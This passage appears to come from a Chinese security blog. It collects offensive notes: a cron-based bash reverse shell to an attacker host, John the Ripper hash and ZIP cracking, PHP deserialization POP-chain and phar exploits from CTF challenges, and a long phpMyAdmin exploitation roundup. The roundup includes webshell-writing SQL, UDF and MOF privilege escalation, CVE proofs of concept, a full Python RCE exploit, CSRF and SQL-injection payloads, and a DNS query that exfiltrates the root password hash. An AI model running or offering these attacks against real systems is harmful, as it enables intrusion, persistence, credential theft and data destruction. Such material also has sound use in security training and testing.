|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

星号(*)：代表所有可能的值，例如day字段如果是星号，则表示在满足其它字段的制约条件后每天都执行该命令操作。
逗号（,）：可以用逗号隔开的值指定一个列表范围，例如，“1,2,5,7,8,9”。
中杠（-）：可以用整数之间的中杠表示一个整数范围，例如“2-6”表示“2,3,4,5,6”。
正斜线（/）：可以用正斜线指定时间的间隔频率，例如“0-23/2”表示每两小时执行一次。

实例：

#打开定时任务列表文件，进行编辑 保存 (注意:这里一定要写成全路径)
*/1 * * * * date >> /home/date_log.txt 	#（每分钟执行一次）

tail-f /home/date_log.txt   #查看任务运行结果

在 12 月内, 每天的早上 6 点到 12 点，每隔 3 个小时 0 分钟执行一次

0 6-12/3 * 12 * /home/脚本.sh

三、实验步骤

测试一

1、判断环境

##查看cron是否开启（CentOS是crond）
service cron status 
systemctl status cron.service

##开启cron
service cron start
systemctl start cron.service

2、编写定时任务（shell脚本）

vim /etc/crontabshell 

内容如下：
#!/bin/bash
bash -i >& /dev/tcp/192.168.50.128/5566 0>&1

3、设置定时任务（建议指定用户，写完之后直接保存退出，一会就会执行了）

也可以直接编辑目标用户的定时任务文件

crontab -u root -e

内容如下：
* * * * *	/etc/crontabshell		#每分钟执行一次shell脚本

4、攻击主机开启端口监听（建议提前开启）

nc -lvp 5566

实验结果：实验成功

测试二

1、直接在/etc/crontab中写计划任务

2、指定计划任务执行目录（不指定也行，等一会就OK了）

crontab /etc/crontab

john解密

Fri, 15 Apr 2022 10:35:00 GMT

md5

echo "e10adc3949ba59abbe56e057f20f883e:" > hash1.txt

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash1.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (?)     
1g 0:00:00:00 DONE (2024-11-01 21:16) 100.0g/s 38400p/s 38400c/s 38400C/s 123456..michael1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

压缩包

┌──(root㉿kali)-[/home/dcj/Desktop]
└─# zip2john secret.zip > hash
ver 2.0 secret.zip/123.txt PKZIP Encr: TS_chk, cmplen=20, decmplen=6, crc=309273C2 ts=AA74 cs=aa74 type=8
                                                                                     
┌──(root㉿kali)-[/home/dcj/Desktop]
└─# cat hash             
secret.zip/123.txt:$pkzip$1*1*2*0*14*6*309273c2*0*25*8*14*aa74*05cb713965ada65631a7692c23c25de72e0386d8*$/pkzip$:123.txt:secret.zip::secret.zip
                                                                                     
┌──(root㉿kali)-[/home/dcj/Desktop]
└─# john hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456           (secret.zip/123.txt)     
1g 0:00:00:00 DONE 2/3 (2024-11-01 21:21) 33.33g/s 1319Kp/s 1319Kc/s 1319KC/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

密码类型

https://hashcat.net/wiki/doku.php?id=example%20hashes

PHP构造POP链小练习

Tue, 09 Nov 2021 14:41:00 GMT

PHP构造POP链小练习

题目

<?php
error_reporting(0);
highlight_file(__FILE__);
class Vox{
    protected $headset;
    public $sound;
    public function fun($pulse){
        include($pulse);
    }
    public function __invoke(){
        $this->fun($this->headset);
    }
}

class Saw{
    public $fearless;
    public $gun;
    public function __construct($file='index.php'){
        $this->fearless = $file;
        echo $this->fearless . ' You are in my range!'."<br>";
    }

    public function __toString(){
        $this->gun['gun']->fearless;
        return "Saw";
    }

    public function _pain(){
        if($this->fearless){
            highlight_file($this->fearless);
        }
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
            echo "Does it hurt? That's right";
            $this->fearless = "index.php";
        }
    }
}

class Petal{
    public $seed;
    public function __construct(){
        $this->seed = array();
    }

    public function __get($sun){
        $Nourishment = $this->seed;
        return $Nourishment();
    }
}

if(isset($_GET['ozo'])){
    unserialize($_GET['ozo']);
}
else{
    $Saw = new Saw('index.php');
    $Saw->_pain();
}
?>

首先确定最终目的是控制include($pulse)，控制包含点即可利用伪协议构造任意文件读取

然后一步步反推Vox::__invoke() -> Vox::fun()
而触发__invoke()的条件是将实例对象当作方法调用时触发，Petal::__get()中的return $Nourishment();满足条件
只要赋值一个对象给$this->seed即可触发，继续分析Petal::__get()的触发条件是调用不可访问的属性或者方法时被触发
Saw::__toString()中的$this->gun['gun']->fearless可满足
最后就是如何触发Saw::__toString()，Saw::__wakeup()中，进行了正则匹配
如果将$this->fearless设置成一个对象，即可触发Saw::__toString()。

利用链：Saw::__wakeup() -> Saw::__toString() -> Petal::__get() -> Vox::__invoke() -> Vox::fun()

POP链

<?php
class Vox
{
    protected $headset = "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini";
}

class Saw
{
    public $fearless;
    public $gun;
}

class Petal
{
    public $seed;
}

$Vox = new Vox();
$Saw1 = new Saw();
$Saw2 = new Saw();
$Petal = new Petal();

$Saw1->fearless = $Saw2;
$Saw2->gun['gun'] = $Petal;
$Petal->seed = $Vox;

echo urlencode(serialize($Saw1));

O%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BO%3A3%3A%22Saw%22%3A2%3A%7Bs%3A8%3A%22fearless%22%3BN%3Bs%3A3%3A%22gun%22%3Ba%3A1%3A%7Bs%3A3%3A%22gun%22%3BO%3A5%3A%22Petal%22%3A1%3A%7Bs%3A4%3A%22seed%22%3BO%3A3%3A%22Vox%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00headset%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dc%3A%2Fwindows%2Fwin.ini%22%3B%7D%7D%7D%7Ds%3A3%3A%22gun%22%3BN%3B%7D

POP链phar反序列化

Sun, 07 Nov 2021 19:28:00 GMT

POP链phar反序列化

首页。啥也没有。就一个IP。还有个查看文件和上传文件。查看文件处。有个file参数。可能存在任意文件读取。

文件上传处。只允许图片类型。并且不返回路径

右键源代码有提示  先从文件读取处下手。 filter伪协议读取。。文件不存在？？？？

直接输入index.php。返回了源码

根据线索。一个个都读出来 index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

首先从index.php分析

include了一个base.php
base.php输出了一个REMOTE_ADDR。我的IP地址
也就是我首页的那个IP

接着分析file.php

包含了function.php和class.php
设置了open_basedir。
用file_exists判断file参数的文件是否存在。怪不得我用base64读不了。伪协议不能用在这个函数
若文件存在。将要读取的文件赋值给Show类的$source。调用_show()
我们在class.php找到了这个函数。
public function _show(){
    if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
        die('hacker!');
    } else{
            highlight_file($this->source);
    }      
}

将我们传入的文件名。经过正则过滤。如果包含了特殊字符就die退出。否则就读取源码 总结读取流程：文件名->file_exists_>正则过滤>读取 接下来看文件上传部分

include function.php
upload_file()

调用upload_file函数。
首先得经过upload_file_check()函数。
这个函数是判断文件后缀名的。必须是gif/jpeg/jpg/png
通过匹配后。进入upload_file_do()
这里就是上传文件了。文件名=md5(文件名+IP地址)

我们上传个1.jpg。经过MD5+首页的IP地址运算得到结果。然后访问

当看到file.php判断文件是否存在用的是file_exists()函数。又看到class.php中。有三个类。并且两个类没被用到。不多说了。十有八九又是phar反序列化

直接去构造POP链

Show类中。自带文件读取功能。但是文件名不能带有flag。就算我们能通过phar反序列化后。还是绕不开这层正则匹配。这里就放弃了

再看看其他类。发现Test类中。有一个魔法函数__get。当调用不存在的函数或属性时。就会自动调用__get函数。get函数又会调用__get。get又调用file_get读取文件。
大致流程就是：不存在的函数->__get魔法函数->get函数->file_get函数读取
那么我们就要找一个不存在的调用。
可以看到$this->str['str']->source。如果我将str['str']变成Test类。调用source函数。由于Test类没有source函数。就会触发魔法函数。调用__get。也就完成了上面的步骤

问题又来了。这个利用点再__toString魔法方法中。此魔术方法是输出时。比如echo什么的才会触发。还得继续找POP链

这不就找到了

理一下思路。

通过Cle4r。将str赋值为Show类。
this->test=$this->Show类
echo $this->test;
触发Show类中的__tostring魔术方法。进入Show类。执行
$content=$this->str['str']->source;
那么我们将str['str']赋值为Test类。使其调用source。但是不存在。
接下来就进入了Test类。执行
__get($key)。这个$key。其实就是source。
get($key)
$value=this->params['source'];
file_get_contents($value);
由于Test类在构造函数中。定义了params是个数组。那么我们就定义params=array('source'=>'/var/www/html/fl1g.php');

至此。整个POP链构造完成下面开始构造EXP

class C1e4r{
	public $test;
	public $str;
}
class Show{
	public $source;
	public $str;
}
class Test{
	public $file;
	public $params;	
}
$c=new Test();
$c->params=array('source'=>'var/www/html/f1ag.php');
$b=new Show();
$b->str['str']=$c;
$a=new C1e4r();
$a->str=$b;
echo serialize($a);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

将phar.phar修改为6.jpg上传。

phar触发得到flag

PhpMyAdmin漏洞利用汇总

Tue, 22 Jun 2021 11:27:00 GMT

PhpMyAdmin漏洞利用汇总

phpMyAdmin 是一个以PHP为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径，尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行，但是您可以在任何地方使用这些程式产生的HTML页面，也就是于远端管理MySQL数据库，方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法，方便编写网页时所需要的sql语法正确性。

0x01 信息收集

1.1 版本信息获取

获取phpmyadmin版本信息，在网址根路径后面添加

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

（注意区分大小写）就可以看到phpmyadmin的相关版本信息了，这个方法也是通杀的，只要管理员不把他们删掉。

也可以直接访问：/doc/html/index.html目录

1.2 绝对路径获取

(1) phpinfo() 页面：最理想的情况，直接显示web路径 (2) web报错信息：可以通过各种fuzz尝试让目标报错，也有可能爆出绝对路径 (3) 一些集成的web框架：如果目标站点是利用phpstudy、LAMPP等之类搭建的，可以通过查看数据库路径

show variables like '%datadir%';

再猜解web路径的方法，一般容易成功。 (4) 利用select load_file() 读取文件找到web路径：可以尝试/etc/passwd，apache|nginx|httpd log之类的文件。

Trick：如何判断目录是否存在，往往确定了/var/www/html目录，但是还有一层目录不能确定，可以采用目标域名+常用的网站根目录的方式进行爆破，当使用

select 'test' into outfile '/var/www/$fuzz$/shell.php'；

时目录fuzzfuzz不存在将会报错Can't create/write to file '/var/www/html/666.txt' (Errcode: 2)；如果存在但是目录写不进去将返回(Errcode: 13)；如果使用的

load data infile "/etc/passwd" into table test;

该语句执行后将也会显示文件是否存在，有权限能否写等信息。

（5）其他方法

1.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
2.进入后台
3.百度出错信息 zoomeye shadon 搜索error warning
4. @@datadir参数看mysql路径 反猜绝对路径

0x02 PhpMyAdmin利用

2.1 写入文件GetShell

可以通过写shell进行提权，而我们需要满足以下条件：

1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限

MySQL 5.0+的版本会，然后在服务运行的情况下修改变量变量也可以移动文件位置的，但是必须要对生成日志的目录具有可更改的写权限。（Linux环境下可能会比较苛刻，因为站点目录是一个用户，MySQL是另外一个用户，权限管控较大严格，主要取决于权限配置是否得当）

2.1.1 直接写入文件getshell

直接用into outfile 直接在网站目录下写入webshell，但是该方法需要前提条件是： (1) 当前的数据库用户有写权限 (2) 知道web绝对路径 (3) web路径能写

如何判断当前数据库用户有写权限？执行：

show variables like '%secure%';

如果secure_file_priv如果非空，则只能在对应的目录下读文件，如果是空即可在其他目录写。Linux下默认/tmp目录可写。

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ，表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ，表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时，表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性

编写一句phpinfo文件，

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

这里必须注意要双反斜线，否则会转义，

2.1.2 通过写入日志文件getshell

读写权限+web绝对路径，修改日志文件为webshell

具体利用方法如下

(1) 开启日志记录:

set global general_log = "ON";

(2) 查看当前的日志目录:

show variables like 'general%';

(3) 指定日志文件

set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/404.php";

(4)) 写入执行代码：

select "<?php phpinfo();?>";

2.1.3 通过慢查询写入webshell

具体方法如下：

(1) 查看当前慢查询日志目录：

show variables like '%slow%';

(2) 重新设置路径：

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';

(3) 开启慢查询日志：

set GLOBAL slow_query_log=on;

(4)) 执行写入日志：

select '<?php phpinfo();?>' from mysql.db where sleep(10);

2.2 User defined funct ion（UDF）：

适用于Windows和Linux环境，利用需要的条件：具有写权限+插件目录可写（或者可以更改指定的插件目录）。具体情况要看目标mysql的版本： (1) Mysql version > 5.1 时，dll或者so必须位于mysql安装目录lib\plugin下，当对该目录具有写权限时可以利用，查看：

show variables like %plugin%；// 查看插件目录

(2) 5.0 <= Mysql version <5.1时，需要导出至目标服务器的系统目录，如C://Windows/System32 (3) Mysql version < 5.0 时，目录可以自定义具体利用如下： a 根据目标mysql版本写入特定目录的so或者dll，可以参考sqlmap里面的

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\l ib\plugin\lib_mysqludf_sys.dll';

b 创建对应的function：

create function sys_eval returns string soname "lib_mysqludf_sys.dll";

c 执行命令：

select * from mysql.func where name = 'sys_eval';   	 #查看创建的sys_eval函数select sys_eval('whoami');                          			 #使用系统命令

2.3 MOF提权：

通过mysql将文件写入一个MOF文件替换掉原有的MOF文件，然后系统每隔五秒就会执行一次上传的MOF。一般适用于Windows <= 2003，并且C:\Windows\System32\mof目录具有写权限（一般是没有权限写）。可以使用MSF直接利用：

use exploit/windows/mysql/mysql_mof
set rhost 192.168.1.5
set rport 3306
set password root
set username root
exploit

回到顶部

0x03 PhpMyAdmin漏洞利用

3.1 WooYun-2016-199433：任意文件读取漏洞

影响范围：

phpMyAdmin version
	2.x版本

POC如下：

POST /scripts/setup.php HTTP/1.1 
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80


action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

3.2 CVE-2014 -8959：本地文件包含

影响范围：

phpMyAdmin version
	4.0.1~4.2.12
PHP version
	< 5.3.4

POC如下：

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00    # 注意改下token值

在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE，php版本可以通过http header、导出表内容到文件的附加内容看到。

3.3 CVE-2016-5734 ：后台命令执行RCE

影响范围：

phpMyAdmin version
	4.0.10.16 之前的4.0.x版本
	4.4.15.7 之前的 4.4.x版本
	4.6.3之前的 4.6.x版本

PHP version
	4.3.0~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了

POC如下：

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("url", type=str, help="URL with path to PMA")
    parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
    parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
    parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
    parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
    parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
    arguments = parser.parse_args()
    url_to_pma = arguments.url
    uname = arguments.user
    upass = arguments.pwd
    if arguments.dbs:
        db = arguments.dbs
    else:
        db = "test"
    token = False
    custom_table = False
    if arguments.table:
        custom_table = True
        table = arguments.table
    else:
        table = "prgpwn"
    if arguments.cmd:
        payload = arguments.cmd
    else:
        payload = "system('uname -a');"

    size = 32
    s = requests.Session()
    # you can manually add proxy support it's very simple ;)
    # s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
    s.verify = False
    sql = '''CREATE TABLE `{0}` (
      `first` varchar(10) CHARACTER SET utf8 NOT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
    '''.format(table)

    # get_token
    resp = s.post(url_to_pma + "/?lang=en", dict(
        pma_username=uname,
        pma_password=upass
    ))
    if resp.status_code is 200:
        token_place = resp.text.find("token=") + 6
        token = resp.text[token_place:token_place + 32]
    if token is False:
        print("Cannot get valid authorization token.")
        sys.exit(1)

    if custom_table is False:
        data = {
            "is_js_confirmed": "0",
            "db": db,
            "token": token,
            "pos": "0",
            "sql_query": sql,
            "sql_delimiter": ";",
            "show_query": "0",
            "fk_checks": "0",
            "SQL": "Go",
            "ajax_request": "true",
            "ajax_page_request": "true",
        }
        resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
        if resp.status_code == 200:
            if "success" in resp.json():
                if resp.json()["success"] is False:
                    first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
                    error = first[:first.find("</code>")]
                    if "already exists" in error:
                        print(error)
                    else:
                        print("ERROR: " + error)
                        sys.exit(1)
    # build exploit
    exploit = {
        "db": db,
        "table": table,
        "token": token,
        "goto": "sql.php",
        "find": "0/e\0",
        "replaceWith": payload,
        "columnIndex": "0",
        "useRegex": "on",
        "submit": "Go",
        "ajax_request": "true"
    }
    resp = s.post(
        url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
    )
    if resp.status_code == 200:
        result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
        if len(result):
            print("result: " + result)
            sys.exit(0)
        print(
            "Exploit failed!\n"
            "Try to manually set exploit parameters like --table, --database and --token.\n"
            "Remember that servers with PHP version greater than 5.4.6"
            " is not exploitable, because of warning about null byte in regexp"
        )
        sys.exit(1)

利用如下：

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

3.4 CVE-2018-12613：后台文件包含

影响范围：

phpMyAdmin version
	4.8.0和4.8.1

利用如下：（1）执行SQL语句，将PHP代码写入Session文件中：

select '<?php phpinfo();exit;?>'

（2）包含session文件：

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** 		# *** 为phpMyAdmin的COOKIE值

3.5 CVE-2018-19968：任意文件包含/RCE

影响范围：

phpMyAdmin version
	4.8.0~4.8.3

利用如下：（1）创建数据库，并将PHP代码写入Session文件中

CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

（2）生成foo数据库的phpMyAdmin的配置表，访问：

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

（3）篡改数据插入pma column_info中：

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值

这里要注意不用系统的session保存位置不同，具体系统可以在phpMyAdmin登录后首页看到

MacOS：

/var/tmp

Linux：

/var/lib/php/sessions

phpStudy：

/phpstudy/PHPTutorial/tmp/tmp

（4）访问包含Session文件的地址：

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

3.6 CVE-2020-0554：后台SQL注入

影响范围：

phpMyAdmin version
	phpMyAdmin 4< 4.9.4
	phpMyAdmin 5< 5.0.1
	前提：已知一个用户名密码

简单总结流程：

页面位置server_privileges.php；

设置变量ajax_requests为true；

设置变量validate_username 为真值；

设置变量username 为我们拼接的注入语句。

构造payload：

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

（token和其余参数会在访问页面的时候自动提供）

我们查看后端收到的数据，可以看到SQL已经成功拼接。

执行完毕后程序只会告知SQL是否执行成功，失败会报错，因此此处我们可以利用报错注入。

构造payload：

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

结果如下，可以看到已经成功执行了我们注入的指令。

CVE-2020-0554：phpMyAdmin后台SQL注入

3.7 CVE-2019-12922 跨站请求伪造

影响范围：

phpMyAdmin version
	<= 4.9.0.1

利用如下：

在登录状态下，添加一个服务器

http://192.168.123.65/phpmyadmin/setup/index.php

点击删除时，通过工具抓包

参数id对应的是第几个服务器。构造恶意链接。

当然实战中的链接怎么吸引人让目标去点击还得靠自己去构造。

页面显示404，但img的src会去请求一次。此时创建了两个服务器

点击我们构造的恶意链接时，显示刚才构造的页面结果

此时再去查看服务器

已经被删除，攻击成功。

CVE-2019-12922 phpMyAdmin 4.9.0.1-跨站请求伪造漏洞复现

3.8 CVE-2017-1000499 跨站请求伪造

影响范围：

phpMyAdmin version
	Phpmyadmin:4.7.6  
	Phpmyadmin:4.7.0:Beta1  
	Phpmyadmin:4.7.0:Rc1  
	Phpmyadmin:4.7.5  
	Phpmyadmin:4.7.4

POC如下：

# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499

# Exploit CSRF - Modifying the password of current user

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

# Exploit CSRF - Arbitrary File Write

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />

# Exploit CSRF - Data Retrieval over DNS

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));

# Exploit CSRF - Empty All Rows From All Tables

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />

CVE-2017-1000499

0x04 特殊版本GetShell

4.1 CVE-2013-3238

影响版本：3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

利用模块：exploit/multi/http/phpmyadminpregreplace

4.2 CVE-2012-5159

影响版本：phpMyAdmin v3.5.2.2

利用模块：exploit/multi/http/phpmyadmin3522_backdoor

4.3 CVE-2009-1151

PhpMyAdmin配置文件/config/config.inc.php存在命令执行

影响版本：2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

利用模块：exploit/unix/webapp/phpmyadmin_config

4.4 弱口令&万能密码

弱口令：版本phpmyadmin2.11.9.2，直接root用户登陆，无需密码

万能密码：版本2.11.3 / 2.11.4，用户名'localhost'@'@"则登录成功

phpMyadmin的Getshell思路

Mon, 21 Jun 2021 16:03:00 GMT

